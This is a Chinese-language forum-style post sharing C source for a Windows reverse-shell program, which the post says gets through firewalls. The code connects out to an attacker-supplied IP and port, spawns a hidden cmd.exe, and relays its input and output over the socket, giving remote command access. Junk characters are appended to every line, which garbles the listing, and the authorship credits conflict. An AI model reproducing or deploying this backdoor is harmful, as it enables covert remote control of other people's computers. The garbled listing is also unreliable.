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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V4}jv7>A  
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/* ============================== X[$|I9  
Rebound port in Windows NT %g5#q64  
By wind,2006/7 J!6w9,T_  
===============================*/ >b9J!'G,(  
#include *q,nALs  
#include Ja 5od  
mS;WNlm\  
#pragma comment(lib,"wsock32.lib") -} j(_] t  
)p;t '*]  
void OutputShell(); 8EdaqF  
SOCKET sClient; [bX ^_ Y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dyf>T}Iy  
V6_":L"!  
void main(int argc,char **argv) >?ar  
{  q"T?  
WSADATA stWsaData; )F&.0 '  
int nRet; |@1(^GX  
SOCKADDR_IN stSaiClient,stSaiServer; -Q5UT=^  
2_3os P\Z  
if(argc != 3) v5pkP  
{ c /^:vTF  
printf("Useage:\n\rRebound DestIP DestPort\n"); <P0 P*>M  
return; "[fPzIP9  
} ;vPFRiFK  
K re*~ "  
WSAStartup(MAKEWORD(2,2),&stWsaData); eFf9T@  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); we!w5./Xm  
T]1.":   
stSaiClient.sin_family = AF_INET; ujBm"p_|  
stSaiClient.sin_port = htons(0); B:UPSX)A  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %uV,p!| )  
# c1LOz  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \nuz l   
{ 3_boEYl0  
printf("Bind Socket Failed!\n"); Y?0x/2<  
return; HOH5_E>d  
} }aa]1X(u  
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stSaiServer.sin_family = AF_INET; \8\T TkVSq  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 3*j1v:x`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); CH!\uK22  
t.RDS2N|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c2 :,  
{ e&8Meiv+d  
printf("Connect Error!"); >c Tt2v  
return; L7GNcV]c  
} 0LzS #J+  
OutputShell(); $RF.LVc  
} ^qBm%R(  
@cxM#N8e  
void OutputShell() 76o[qay  
{ ;ZcwgsxTM  
char szBuff[1024]; 4L`,G:J,;  
SECURITY_ATTRIBUTES stSecurityAttributes; HfP<hQmN'  
OSVERSIONINFO stOsversionInfo; l?m 3 *  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <_*5BO  
STARTUPINFO stStartupInfo; 5&L*'kV@  
char *szShell; | a i#rU  
PROCESS_INFORMATION stProcessInformation; >QN-K]YLL  
unsigned long lBytesRead; ,-k?"|tQ  
"d~<{(:N^  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Zm++5b`W/[  
[h' 22 W  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); b">"NvlB  
stSecurityAttributes.lpSecurityDescriptor = 0; 8::y5Yv]  
stSecurityAttributes.bInheritHandle = TRUE; Lp}V 94xT  
!H c6$  
&6Lh>n(  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jw\4`NZ]  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ouoIbA9X  
pjV70D8$A  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?aBAmyxm  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [5-Ik T0  
stStartupInfo.wShowWindow = SW_HIDE; g26_#4 P  
stStartupInfo.hStdInput = hReadPipe;  vmfFR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [4B (rra  
vfhoN]v  
GetVersionEx(&stOsversionInfo); $/JXI?K  
P@5-3]m=  
switch(stOsversionInfo.dwPlatformId) r]QeP{  
{ jY/(kA]}  
case 1: 0v1~#KCm  
szShell = "command.com"; 3^q9ll7Op  
break; l6xqc,h!K  
default: N~`r;E  
szShell = "cmd.exe"; Rw[!Jq  
break; 8(q8}s$>  
} 4 8 J{Y3F  
F2<Q~gQ;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3|G~_'`RLt  
9<P%?Q  
send(sClient,szMsg,77,0); asp\4-?$o  
while(1) e(1{W P  
{ wkPomTO  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +@8, uL  
if(lBytesRead) eDNY|}$}v  
{ HJ"sK5Q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); D(TfW   
send(sClient,szBuff,lBytesRead,0); <bhJ>  
} >nK (  
else RASk=B  
{ MOB'rPIUI  
lBytesRead=recv(sClient,szBuff,1024,0); ,1<6=vL  
if(lBytesRead<=0) break; OzRo  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); w+!V,lU"^  
} rXTdhw?+  
} "av/a   
e9S*^2;  
return; ^n4aoj  
}
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